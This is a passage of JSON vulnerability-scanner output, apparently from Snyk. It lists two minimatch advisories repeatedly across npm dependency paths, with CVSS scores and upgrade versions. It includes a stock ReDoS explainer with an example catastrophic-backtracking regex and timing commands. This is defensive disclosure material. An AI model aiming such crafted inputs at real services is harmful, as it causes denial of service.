Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex 